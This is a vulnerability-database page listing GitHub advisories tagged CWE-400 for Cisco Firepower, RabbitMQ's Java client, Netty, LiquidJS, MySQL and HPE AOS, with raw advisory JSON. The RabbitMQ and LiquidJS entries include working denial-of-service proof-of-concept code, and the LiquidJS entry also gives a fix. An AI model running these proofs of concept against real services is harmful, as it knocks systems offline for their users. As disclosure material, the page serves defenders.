Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5435 vulnerabilities reference this CWE, most recent first.

GHSA-MM7H-P3V8-J9F3

Vulnerability from github – Published: 2022-11-16 12:00 – Updated: 2022-11-18 00:30
VLAI
Details

A vulnerability in the processing of SSH connections of Cisco Firepower Management Center (FMC) and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. This vulnerability is due to improper error handling when an SSH session fails to be established. An attacker could exploit this vulnerability by sending a high rate of crafted SSH connections to the instance. A successful exploit could allow the attacker to cause resource exhaustion, resulting in a reboot on the affected device.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-20854"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-755"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-15T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the processing of SSH connections of Cisco Firepower Management Center (FMC) and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. This vulnerability is due to improper error handling when an SSH session fails to be established. An attacker could exploit this vulnerability by sending a high rate of crafted SSH connections to the instance. A successful exploit could allow the attacker to cause resource exhaustion, resulting in a reboot on the affected device.",
  "id": "GHSA-mm7h-p3v8-j9f3",
  "modified": "2022-11-18T00:30:18Z",
  "published": "2022-11-16T12:00:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20854"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-dos-OwEunWJN"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-dos-OwEunWJN"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MM8H-8587-P46H

Vulnerability from github – Published: 2023-10-24 01:49 – Updated: 2023-10-27 20:47
VLAI
Summary
RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack
Details

Summary

maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.

PoC

RbbitMQ

  • Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)
  • Start RabbitMQ

Producer

  • Build a String of length 256M and send it to Consumer

package org.springframework.amqp.helloworld; 

import org.springframework.amqp.core.AmqpTemplate; 
import org.springframework.context.ApplicationContext; 
import org.springframework.context.annotation.AnnotationConfigApplicationContext; 

public class Producer {
    public static void main(String[] args) {
        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); 
        String s = "A";
        for(int i=0;i<28;++i){
            s = s + s;
            System.out.println(i);
        }
        amqpTemplate.convertAndSend(s);
        System.out.println("Send Finish");
    }
 }

Consumer

  • First set the heap memory size to 128M
  • Read the message sent by the Producer from the MQ and print the length
package org.springframework.amqp.helloworld;

import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class Consumer {

    public static void main(String[] args) {
        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
        Object o = amqpTemplate.receiveAndConvert();
        if(o != null){
            String s = o.toString();
            System.out.println("Received Length : " + s.length());
        }else{
            System.out.println("null");
        }
    }
}

Results

  • Run the Producer first, then the Consumer
  • Consumer throws OOM Exception

Impact

Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.rabbitmq:amqp-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46120"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-24T01:49:09Z",
    "nvd_published_at": "2023-10-25T18:17:36Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n`maxBodyLebgth` was not used when receiving Message objects.  Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.\n\n### PoC\n#### RbbitMQ\n* Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)\n* Start RabbitMQ\n#### Producer\n* Build a String of length 256M and send it to Consumer\n```\n\npackage org.springframework.amqp.helloworld; \n\nimport org.springframework.amqp.core.AmqpTemplate; \nimport org.springframework.context.ApplicationContext; \nimport org.springframework.context.annotation.AnnotationConfigApplicationContext; \n\npublic class Producer {\n    public static void main(String[] args) {\n        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);\n        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); \n        String s = \"A\";\n        for(int i=0;i\u003c28;++i){\n            s = s + s;\n            System.out.println(i);\n        }\n        amqpTemplate.convertAndSend(s);\n        System.out.println(\"Send Finish\");\n    }\n }\n```\n\n#### Consumer\n* First set the heap memory size to 128M\n* Read the message sent by the Producer from the MQ and print the length\n```\npackage org.springframework.amqp.helloworld;\n\nimport org.springframework.amqp.core.AmqpTemplate;\nimport org.springframework.amqp.core.Message;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.annotation.AnnotationConfigApplicationContext;\n\npublic class Consumer {\n    \n    public static void main(String[] args) {\n        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);\n        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);\n        Object o = amqpTemplate.receiveAndConvert();\n        if(o != null){\n            String s = o.toString();\n            System.out.println(\"Received Length : \" + s.length());\n        }else{\n            System.out.println(\"null\");\n        }\n    }\n}\n```\n#### Results\n* Run the Producer first, then the Consumer\n* Consumer throws OOM Exception\n\n\n### Impact\nUsers of RabbitMQ may suffer from  DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.\n",
  "id": "GHSA-mm8h-8587-p46h",
  "modified": "2023-10-27T20:47:02Z",
  "published": "2023-10-24T01:49:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-mm8h-8587-p46h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46120"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/issues/1062"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/commit/714aae602dcae6cb4b53cadf009323ebac313cc8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RabbitMQ Java client\u0027s Lack of Message Size Limitation leads to Remote DoS Attack"
}

GHSA-MM9X-G8PC-W292

Vulnerability from github – Published: 2020-06-15 19:36 – Updated: 2021-06-15 17:31
VLAI
Summary
Denial of Service in Netty
Details

The ZlibDecoders in Netty 4.1.x before 4.1.46 allow for unbounded memory allocation while decoding a ZlibEncoded byte stream. An attacker could send a large ZlibEncoded byte stream to the Netty server, forcing the server to allocate all of its free memory to a single decoder.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.1.46"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-11612"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119",
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-11T19:58:52Z",
    "nvd_published_at": "2020-04-07T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "The ZlibDecoders in Netty 4.1.x before 4.1.46 allow for unbounded memory allocation while decoding a ZlibEncoded byte stream. An attacker could send a large ZlibEncoded byte stream to the Netty server, forcing the server to allocate all of its free memory to a single decoder.",
  "id": "GHSA-mm9x-g8pc-w292",
  "modified": "2021-06-15T17:31:50Z",
  "published": "2020-06-15T19:36:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11612"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/issues/6168"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/pull/9924"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9c30b7fca4baedebcb46d6e0f90071b30cc4a0e074164d50122ec5ec@%3Ccommits.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ra98e3a8541a09271f96478d5e22c7e3bd1afdf48641c8be25d62d9f9@%3Ccommits.druid.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/raaac04b7567c554786132144bea3dcb72568edd410c1e6f0101742e7@%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd302ddb501fa02c5119120e5fc21df9a1c00e221c490edbe2d7ad365@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rdb69125652311d0c41f6066ff44072a3642cf33a4b5e3c4f9c1ec9c2@%3Ccommits.pulsar.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re1ea144e91f03175d661b2d3e97c7d74b912e019613fa90419cf63f4@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ref2c8a0cbb3b8271e5b9a06457ba78ad2028128627186531730f50ef@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ref3943adbc3a8813aee0e3a9dd919bacbb27f626be030a3c6d6c7f83@%3Ccommits.pulsar.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf5b2dfb7401666a19915f8eaef3ba9f5c3386e2066fcd2ae66e16a2f@%3Cdev.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf803b65b4a57589d79cf2e83d8ece0539018d32864f932f63c972844@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf9f8bcc4ca8d2788f77455ff594468404732a4497baebe319043f4d5@%3Ccommits.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rfd173eac20d5e5f581c8984b685c836dafea8eb2f7ff85f617704cf1@%3Cdev.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rff8859c0d06b1688344b39097f9685c43b461cf2bc41f60f001704e9@%3Ccommits.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00003.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TS6VX7OMXPDJIU5LRGUAHRK6MENAVJ46"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20201223-0001"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-4885"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2021.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/compare/netty-4.1.45.Final...netty-4.1.46.Final"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r14446ed58208cb6d97b6faa6ebf145f1cf2c70c0886c0c133f4d3b6f@%3Ccommits.druid.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r255ed239e65d0596812362adc474bee96caf7ba042c7ad2f3c62cec7@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r281882fdf9ea89aac02fd2f92786693a956aac2ce9840cce87c7df6b@%3Ccommits.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r2958e4d49ee046e1e561e44fdc114a0d2285927501880f15852a9b53@%3Ccommits.druid.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r31424427cc6d7db46beac481bdeed9a823fc20bb1b9deede38557f71@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r3195127e46c87a680b5d1d3733470f83b886bfd3b890c50df718bed1@%3Ccommits.druid.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r3ea4918d20d0c1fa26cac74cc7cda001d8990bc43473d062867ef70d@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r4a7e4e23bd84ac24abf30ab5d5edf989c02b555e1eca6a2f28636692@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r4f4a14d6a608db447b725ec2e96c26ac9664d83cd879aa21e2cfeb24@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r5030cd8ea5df1e64cf6a7b633eff145992fbca03e8bfc687cd2427ab@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r5a0b1f0b1c3bcd66f5177fbd6f6de2d0f8cae24a13ab2669f274251a@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r5b1ad61552591b747cd31b3a908d5ff2e8f2a8a6847583dd6b7b1ee7@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r69b23a94d4ae45394cabae012dd1f4a963996869c44c478eb1c61082@%3Ccommits.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r7641ee788e1eb1be4bb206a7d15f8a64ec6ef23e5ec6132d5a567695@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r7790b9d99696d9eddce8a8c96f13bb68460984294ea6fea3800143e4@%3Ccommits.pulsar.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r7836bbdbe95c99d4d725199f0c169927d4e87ba57e4beeeb699c097a@%3Ccommits.druid.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r832724df393a7ef25ca4c7c2eb83ad2d6c21c74569acda5233f9f1ec@%3Ccommits.pulsar.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r866288c2ada00ce148b7307cdf869f15f24302b3eb2128af33830997@%3Ccommits.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r88e2b91560c065ed67e62adf8f401c417e4d70256d11ea447215a70c@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r8a654f11e1172b0effbfd6f8d5b6ca651ae4ac724a976923c268a42f@%3Ccommits.druid.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9addb580456807cd11d6f0c6b6373b7d7161d06d2278866c30c7febb@%3Ccommits.zookeeper.apache.org%3E"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service in Netty"
}

GHSA-MMG9-6M6J-JQQX

Vulnerability from github – Published: 2026-04-08 15:00 – Updated: 2026-04-09 14:28
VLAI
Summary
LiquidJS Has Memory Limit Bypass via Quadratic Amplification in `replace` Filter
Details

Summary

The replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions.

Details

The vulnerable code is in src/filters/string.ts:137-142:

export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {
  const str = stringify(v)
  pattern = stringify(pattern)
  replacement = stringify(replacement)
  this.context.memoryLimit.use(str.length + pattern.length + replacement.length)  // BUG: accounts for inputs, not output
  return str.split(pattern).join(replacement)  // actual output can be quadratically larger
}

The memoryLimit.use() call charges only the sum of the three input lengths. However, the str.split(pattern).join(replacement) operation produces output of size:

(number_of_occurrences * replacement.length) + non_matching_characters

When every character in str matches pattern (e.g., str = 5,000 as, pattern = a), there are 5,000 occurrences. With a 5,000-character replacement string, the output is 5000 * 5000 = 25,000,000 characters, while only 5000 + 1 + 5000 = 10,001 bytes are charged to the limiter.

The Limiter class at src/util/limiter.ts:3-22 is a simple accumulator — it only checks at the time use() is called and has no post-hoc validation of actual memory allocated.

The memoryLimit option defaults to Infinity (src/liquid-options.ts:198), so this only affects deployments that explicitly enable memory limiting to protect against untrusted template input.

PoC

const { Liquid } = require('liquidjs');

// User explicitly enables memoryLimit for DoS protection (10MB)
const engine = new Liquid({ memoryLimit: 1e7 });

const inputLen = 5000;
const aStr = 'a'.repeat(inputLen);
const bStr = 'b'.repeat(inputLen);

// Template that should be blocked by 10MB memory limit
const tpl = engine.parse(
  `{%- assign s = "${aStr}" -%}` +
  `{%- assign r = "${bStr}" -%}` +
  `{{ s | replace: "a", r }}`
);

// This should throw "memory alloc limit exceeded" but succeeds
const result = engine.renderSync(tpl);

console.log('Memory limit: 10,000,000 bytes');
console.log('Memory charged:', 10001, 'bytes');
console.log('Actual output:', result.length, 'bytes');  // 25,000,000 bytes
console.log('Amplification:', Math.round(result.length / 10001) + 'x');
// Output: Amplification: 2500x — completely bypasses the 10MB limit

Impact

Users who deploy LiquidJS with memoryLimit enabled to process untrusted templates (e.g., multi-tenant SaaS platforms allowing custom templates) are not protected against memory exhaustion via the replace filter. An attacker who can author templates can allocate ~2,500x more memory than the configured limit allows, potentially causing:

  • Node.js process out-of-memory crashes
  • Denial of service for co-tenant users on the same process
  • Resource exhaustion on the hosting infrastructure

The impact is limited to availability (no confidentiality or integrity impact), and requires both non-default configuration (memoryLimit enabled) and template authoring access.

Recommended Fix

Account for the actual output size in the memory limiter by calculating the number of occurrences:

export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {
  const str = stringify(v)
  pattern = stringify(pattern)
  replacement = stringify(replacement)
  const parts = str.split(pattern)
  const outputSize = str.length + (parts.length - 1) * (replacement.length - pattern.length)
  this.context.memoryLimit.use(outputSize)
  return parts.join(replacement)
}

This computes the exact output size: the original string length plus, for each occurrence, the difference between the replacement and pattern lengths. The split() result is reused to avoid computing it twice.

Severity
3.7 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.25.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "liquidjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.25.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34166"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T15:00:29Z",
    "nvd_published_at": "2026-04-08T19:25:21Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\nThe `replace` filter in LiquidJS incorrectly accounts for memory usage when the `memoryLimit` option is enabled. It charges `str.length + pattern.length + replacement.length` bytes to the memory limiter, but the actual output from `str.split(pattern).join(replacement)` can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the `memoryLimit` DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions.\n\n## Details\n\nThe vulnerable code is in `src/filters/string.ts:137-142`:\n\n```typescript\nexport function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {\n  const str = stringify(v)\n  pattern = stringify(pattern)\n  replacement = stringify(replacement)\n  this.context.memoryLimit.use(str.length + pattern.length + replacement.length)  // BUG: accounts for inputs, not output\n  return str.split(pattern).join(replacement)  // actual output can be quadratically larger\n}\n```\n\nThe `memoryLimit.use()` call charges only the sum of the three input lengths. However, the `str.split(pattern).join(replacement)` operation produces output of size:\n\n```\n(number_of_occurrences * replacement.length) + non_matching_characters\n```\n\nWhen every character in `str` matches `pattern` (e.g., `str` = 5,000 `a`s, `pattern` = `a`), there are 5,000 occurrences. With a 5,000-character replacement string, the output is `5000 * 5000 = 25,000,000` characters, while only `5000 + 1 + 5000 = 10,001` bytes are charged to the limiter.\n\nThe `Limiter` class at `src/util/limiter.ts:3-22` is a simple accumulator \u2014 it only checks at the time `use()` is called and has no post-hoc validation of actual memory allocated.\n\nThe `memoryLimit` option defaults to `Infinity` (`src/liquid-options.ts:198`), so this only affects deployments that explicitly enable memory limiting to protect against untrusted template input.\n\n## PoC\n\n```javascript\nconst { Liquid } = require(\u0027liquidjs\u0027);\n\n// User explicitly enables memoryLimit for DoS protection (10MB)\nconst engine = new Liquid({ memoryLimit: 1e7 });\n\nconst inputLen = 5000;\nconst aStr = \u0027a\u0027.repeat(inputLen);\nconst bStr = \u0027b\u0027.repeat(inputLen);\n\n// Template that should be blocked by 10MB memory limit\nconst tpl = engine.parse(\n  `{%- assign s = \"${aStr}\" -%}` +\n  `{%- assign r = \"${bStr}\" -%}` +\n  `{{ s | replace: \"a\", r }}`\n);\n\n// This should throw \"memory alloc limit exceeded\" but succeeds\nconst result = engine.renderSync(tpl);\n\nconsole.log(\u0027Memory limit: 10,000,000 bytes\u0027);\nconsole.log(\u0027Memory charged:\u0027, 10001, \u0027bytes\u0027);\nconsole.log(\u0027Actual output:\u0027, result.length, \u0027bytes\u0027);  // 25,000,000 bytes\nconsole.log(\u0027Amplification:\u0027, Math.round(result.length / 10001) + \u0027x\u0027);\n// Output: Amplification: 2500x \u2014 completely bypasses the 10MB limit\n```\n\n## Impact\n\nUsers who deploy LiquidJS with `memoryLimit` enabled to process untrusted templates (e.g., multi-tenant SaaS platforms allowing custom templates) are not protected against memory exhaustion via the `replace` filter. An attacker who can author templates can allocate ~2,500x more memory than the configured limit allows, potentially causing:\n\n- Node.js process out-of-memory crashes\n- Denial of service for co-tenant users on the same process\n- Resource exhaustion on the hosting infrastructure\n\nThe impact is limited to availability (no confidentiality or integrity impact), and requires both non-default configuration (`memoryLimit` enabled) and template authoring access.\n\n## Recommended Fix\n\nAccount for the actual output size in the memory limiter by calculating the number of occurrences:\n\n```typescript\nexport function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {\n  const str = stringify(v)\n  pattern = stringify(pattern)\n  replacement = stringify(replacement)\n  const parts = str.split(pattern)\n  const outputSize = str.length + (parts.length - 1) * (replacement.length - pattern.length)\n  this.context.memoryLimit.use(outputSize)\n  return parts.join(replacement)\n}\n```\n\nThis computes the exact output size: the original string length plus, for each occurrence, the difference between the replacement and pattern lengths. The `split()` result is reused to avoid computing it twice.",
  "id": "GHSA-mmg9-6m6j-jqqx",
  "modified": "2026-04-09T14:28:18Z",
  "published": "2026-04-08T15:00:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-mmg9-6m6j-jqqx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34166"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/commit/abc058be0f33d6372cd2216f4945183167abeb25"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/harttle/liquidjs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/releases/tag/v10.25.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LiquidJS Has Memory Limit Bypass via Quadratic Amplification in `replace` Filter"
}

GHSA-MMGV-XV74-2786

Vulnerability from github – Published: 2025-07-15 21:31 – Updated: 2025-07-15 21:31
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.42, 8.4.0-8.4.5 and 9.0.0-9.3.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-50101"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-15T20:15:46Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer).  Supported versions that are affected are 8.0.0-8.0.42, 8.4.0-8.4.5 and  9.0.0-9.3.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-mmgv-xv74-2786",
  "modified": "2025-07-15T21:31:43Z",
  "published": "2025-07-15T21:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50101"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MMPV-FX78-C225

Vulnerability from github – Published: 2025-10-14 18:30 – Updated: 2025-10-14 18:30
VLAI
Details

A vulnerability in the parsing of ethernet frames in AOS-8 Instant and AOS 10 could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to potentially disrupt network services and require manual intervention to restore functionality.

Severity
6.5 (Medium)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-37148"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-14T17:15:41Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the parsing of ethernet frames in AOS-8 Instant and AOS 10 could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to potentially disrupt network services and require manual intervention to restore functionality.",
  "id": "GHSA-mmpv-fx78-c225",
  "modified": "2025-10-14T18:30:29Z",
  "published": "2025-10-14T18:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37148"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04958en_us\u0026docLocale=en_US"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
